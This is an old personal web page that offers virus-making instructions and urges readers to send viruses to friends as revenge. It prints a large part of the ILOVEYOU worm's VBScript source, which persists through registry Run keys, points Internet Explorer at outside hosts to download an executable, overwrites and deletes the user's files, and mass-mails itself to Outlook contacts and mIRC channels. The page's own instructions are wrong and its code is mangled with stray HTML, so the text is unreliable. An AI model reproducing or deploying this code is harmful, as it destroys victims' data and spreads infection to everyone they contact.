Dangerous Virus's - Spas - http://maxpages.com/mrdodo/Real

Viru's are a file that goes iinto the computer and spreads its self all around the computer so it would infect all the files and next time you restart the computer it shuts down. There are so many types of virus's like a virus that deletes everything in the computer hard drive, another one locks up the computer as a password so in order to open the windows you need the password. Here you will have some virus's that you can get your friends back at you for what they done to you. ITS PAY BACK.

Top 4 Virus's

1. HDFSKA
2. WORM
3. DRIVER KILLER
4. I LOVE YOU LETTER

Those virus's are the most popular everyday people disover new virus's. i will give you the code for some virus's.

To make a virus. you click on START,Programs,Accessories than you will fiind NOTEPAD. you open that than you start typing the virus down. in a virus u will use some of these letters as [ % & * ^ $ # @ !] a virus can include most of these letters. if you dont knowhow to make a virus, juut copy and paste what i have down here and save it as a program or a file.

1. I Love You Letter, This Is The SOURSE CODE For This Virus

COPY AND PASTE THAN IN NOTEPAD, THAN CLICK ON FILE SAVE AS AND SAVE IT IN A FOLDER TYPE THE NAME FOR IT coolstuff.txt or virus.txt it can be anything but u need to put .txt at the end or it will not work and there you go, send it to people and have fun. This virus spreads around the computer so for every folder you will have this strange icon and it will take al ot of space in the computer. and it will slow the computer down.

THESE VIRU"S ARE NOT USED TO DESTORY OTHER PEOPLES COMPUTER USE THIS IF SOMEONE HAD DONE SOMETHING TO YOUR COMPUTER OTHER WISE DONT. IF I GET AN REPORT FROM ANYONE ABOUT PEOPLE SENDED OTHER VIRUS"S FROM MY SITE I WILL DELET THIS PAGE.

I have alot of virus's that i made and i download it i also have the codes for it, EVERY MONTH i will add a new different virus with a special function.
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
'check the time out value for WSH
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
' Set script time out to infinity
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",
0, "REG_DWORD"
end if
'Create three copies of the script in the windows, system32 and temp folders
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
'Set IE default page to 1 of four locations that downloads an executable.
'If the exectuable has already been downloaded set it to run at the next login
and set IE's start page to be
blank
regruns()
'create an html file that possibly runs an activex component and runs one of
the copies of the script
html()
'Resend script to people in the WAB
spreadtoemail()
'overwrite a number of file types with the script
'if the files are not already scripts create a script file with the same name
with vbs extention and
'delete the original file
'mirc client have a script added to send the html file created earlier to a
channel
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num, downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",di
rsystem&"\MS
Kernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32D
LL",dirwin&"\
Win32DLL.vbs"
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread = "") then
downread = "c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe") = 1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw658
7345gvsdf7679njbv
YT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe5467
86324hjk4jnHHGbvbm
KLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhf
gER67b3Vbvg/
WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgq
werasdjhPhjasfdgl
kNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",
downread & "\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page", "about:blank"
end if
end sub

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path & "\")
end if
Next
listadriv = s
end sub

sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
if (ext = "vbs") or (ext = "vbe") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext = "js") or (ext = "jse") or (ext = "css") or _
(ext = "wsh") or (ext = "sct") or (ext = "hta") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
elseif(ext = "jpg") or (ext = "jpeg") then
set ap=fso.OpenTextFile(f1.path, 2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile(f1.path)
att.attributes = att.attributes + 2
end if
if (eq<>folderspec) then
if (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or _
(s = "script.ini") or (s = "mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will
corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not
run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-
FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
end function

function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

sub spreadtoemail()
On Error Resume Next
dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
set regedit = CreateObject("WScript.Shell")
set out = WScript.CreateObject("Outlook.Application")
set mapi = out.GetNameSpace("MAPI")
for ctrlists = 1 to mapi.AddressLists.Count
set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
if (regv = "") then
regv = 1
end if
if (int(a.AddressEntries.Count) > int(regv)) then
for ctrentries = 1 to a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" &
malead)
if (regad = "") then
set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from
me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead,
1, "REG_DWORD"
end if
x = x + 1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out = Nothing
Set mapi = Nothing
end sub

sub html
On Error Resume Next
dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
dta1= "LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@- @ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _<br> "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _<br> "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@- @>"&vbcrlf& _<br> "<?-?HEAD><!BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#- #LOVE- LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR- YOU.HTM#- #,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _<br> "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to <br> read this HTML file<BR>- <br> Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _<br> "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------<br> z------------<br> --------z----------<?-?MARQUEE> "&vbcrlf& _<br> "<?-?BODY><?-?HTML>"&vbcrlf& _<br> "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ ""&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ ""&vbcrlf& _ "<?-?SCRIPT>" dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'") dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """") dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/") dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\") dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'") dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """") dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/") dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\") set fso = CreateObject("Scripting.FileSystemObject") set c = fso.OpenTextFile(WScript.ScriptFullName, 1) lines = Split(c.ReadAll, vbcrlf) l1 = ubound(lines) for n = 0 to ubound(lines) lines(n)=replace(lines(n), "'", chr(91) + chr(45) + chr(91)) lines(n)=replace(lines(n), """", chr(93) + chr(45) + chr(93)) lines(n)=replace(lines(n), "\", chr(37) + chr(45) + chr(37)) if (l1 = n) then lines(n) = chr(34) + lines(n) + chr(34) else lines(n) = chr(34) + lines(n) + chr(34) & "&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines, vbcrlf) d.write vbcrlf d.write dt6 d.close    <script language="javascript"> var _pn="PUT+PAGE+NAME+HERE"; //page name var _acct="WQ5212155KMSRLEN7"; //account number var _pndef="title";var _hcv=65;var _mn="wf147"; var _lp=location.protocol.indexOf('https')==0?"https://":"http://"; var _gn="hg1.hitbox.com";function _ps(_h){if(_h.indexOf("PUT+PAGE+NAME+HER")==0) { if (_pndef=="title"){return document.title?document.title:_pndef;}else{ var _g=location.pathname;_h=_g.substring(_g.lastIndexOf("/")+1,_g.length); if(_h==""){return _pndef};}};return _h;}var _sv=10;var _bn=navigator.appName; if(_bn.substring(0,9)=="Microsoft"){_bn="MSIE";};var _bv=Math.round(parseFloat(navigator.appVersion)*100); if((_bn=="MSIE")&&(parseInt(_bv)==2))_bv=301;var _rf=escape(document.referrer);_pn=_ps(_pn); var _hbfa="<a href='http://rd1.hitbox.com/rd?acct="+_acct+"' target=_top><img src='"; var _hbfc="' border=0 width=125 height=125></a><div><font face='MS Sans Serif,Arial,Helvetica '"+ "size=1><a href='http://counter.hitbox.com/a/hitboxfree.cgi' target='_blank'>privacy</a></font></div>"; var _hbfb="";</script><script language="javascript1.1" id="_hbc">_sv=11;</script><script language="javascript1.1" src="http://stats.hitbox.com/js/hbf.js"></script><script language="javascript"> if(_hbfb.length!=0){document.write(_hbfa+_hbfb+_hbfc);}else{if((_rf=="undefined")||(_rf=="")){ _rf="bookmark";};document.write(_hbfa+_lp+_gn+"/HG?hc="+_mn+"&l=1&hb="+_acct+"&n="+escape(_pn)+ "&cd=1&bt=2&bn="+escape(_bn)+"&bv="+_bv+"&ss=na&sc=na&dt=&sv="+_sv+"&ja=na&ln=na&pl=&rf="+_rf+_hbfc);} </script><!noscript><a href="http://rd1.hitbox.com/rd?acct=WQ5212155KMSRLEN7" target=_top><img src="http://hg1.hitbox.com/HG?hc=wf147&cd=1&ce=u&hb=WQ5212155KMSRLEN7&n=PUT+PAGE+NAME+HERE&l=1" border="0" width=125 height=125></a><div><font face="MS Sans Serif,Arial,Helvetica" size=1><a href="http://counter.hitbox.com/a/hitboxfree.cgi" target="_blank">privacy</a></font></div><br> <!/noscript><br> <br>   <br> </b></font></td> </tr> </table> </center> <br> </td> </tr><tr valign=top> <td width=100%> <center><table border=0 cellpadding=2 cellspacing=0> <tr> <td nowrap colspan=3><center><font size=+0>TARGET</font></center> </td> </tr> <tr> <td nowrap colspan=3><center><font size=+0>White House</font></center> </td> </tr> <tr> <td nowrap align=right><font size=+0>New York</font></td> <td nowrap align=center><font size=+0>NY</font></td> <td nowrap align=left><font size=+0>0123456789</font></td> </tr> <tr> <td nowrap colspan=3><center><font size=+0>USA</font></center> </td> </tr> <tr> <td nowrap colspan=3><center><font size=+0>(911) 1800-collect</font></center> </td> </tr> <tr> <td nowrap colspan=3><center><font size=+0>Fax </font><font size=+0>(911) 1800-collect</font></center> </td> </tr> </table> </center> <br> <center><table border=0 cellspacing=0 cellpadding=0><tr><td align=center nowrap><font face=default size=2> </iframe></form></style> <script language="JavaScript">  </script> </style> </textarea> </form> <center> <form method="POST" Action="/whois.cgi" align="center"> <table border=0><tr><td> <div align="center"><center><table border="0" width=468 height=56 cellpadding=0 cellspacing=0 bgcolor="#A6CDEA"> <tr> <td valign="top" align="center" colspan="3"><strong> <font face="Verdana" size="3">Domain Lookup</font> </strong></td> </tr> <tr> <td valign="bottom" align="left"> </td> <td valign="top" align="center"><b>www.</b><input type="text" Name="domain_name" size="32" maxlength=63><b>.</b><select name="ext" size="1"> <option selected value="com">com</option> <option value="net">net</option> <option value="org">org</option> <option value="us">us</option> <option value="info">info</option> <option value="biz">biz</option> </select></td> <td valign="top" align="left"><input type="submit" Name="submit" value="Search"></td> </tr> <tr> <td valign="top" align="center" colspan="3" bgcolor="#A6CDEA"> <font color="#0000ff"><b> Get <a href="http://maxpages.com/maxpagesplus">www.yourdomainofchoice.com</a> for your site with services! </font></td> </tr> </table> </center></div> </td></tr></table> </form>  <IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=728 HEIGHT=90 SRC="http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=728x90§ion=4809"></IFRAME>  <script language="JavaScript" > function rmShowAd (width,height) { document.write('<IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO'); document.write(' WIDTH=' + width +' HEIGHT=' + height); document.write('SRC="http://ad.yieldmanager.com/st?ad_type=iframe&ad_size='+width+'x'+height+'§ion=4809"></IFRAME>'); } </script> <script language="JavaScript"> //rmShowAd (728,90); </script>  <br><br>   <script language="javascript"></script><noscript><iframe //src="http://geo.precisionclick.com/ad/?typ=1&pub=1&nid=1357&site=155&adfmt=1" //width="728" height="90" marginwidth="0" hspace="0" vspace="0" //frameborder="0" scrolling="no"></iframe></noscript> <script language="JavaScript"> var H; if (!(navigator.appName.indexOf("WebTV") >= 0)) { H=window.open('http://maxpages.com/popad.htm','popad','height=270,width=320,left=10000,top=10000,location=0,status=0,scrollbars=no,resizable=no'); // setTimeout("window.focus()",2000); // setTimeout("window.focus()",3000); // setTimeout("window.focus()",1000); window.focus(); } // H=window.open('http://maxpages.com/popad.htm','popad','height=1,width=1,left=10000,top=10000,location=0,status=0,scrollbars=no,resizable=no');  </script> <br><br>  <IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=468 HEIGHT=60 SRC="http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=468x60§ion=4809"></IFRAME>  <script language="javascript"> var defaultAd = ''; </script> <a href=/registry/index.htm>.</a> <img src="http://www1.addfreestats.com/cgi-bin/connect.cgi?usr=00115744P000" border=0 height=0 width=0> <script type="text/javascript"> var dc_UnitID = 14; var dc_PublisherID = 14241; var dc_AdLinkColor = 'blue'; var dc_adprod='ADL'; </script> <script type="text/javascript" SRC="http://kona.kontera.com/javascript/lib/KonaLibInline.js"></script> </font></td></tr></table></center> <br> <center><table border=1 cellpadding=2><tr><td nowrap align=center bgcolor="#000000"><font face="arial, helvetica" size=-1 color="#00ff00">Visitors: <b>05249</b></font></td></tr></table><font face="arial, helvetica" size=-2>Page Updated Sun Dec 15, 2002 3:00pm EST</font></center> <br> <br> </td> </tr></table> <script language=JavaScript>  </script> <script language=JavaScript>  </script> </body></html> <link rel="stylesheet" type="text/css" href="/sbr.cgi?54ce2e9b988f994cdfe711e4783db4accc4451ac205fc15a5f51f376e2f51b9076f4740c188be6278f2006b8503c343eb97866e805eca32c07710d84068024d61cc2609750faca25">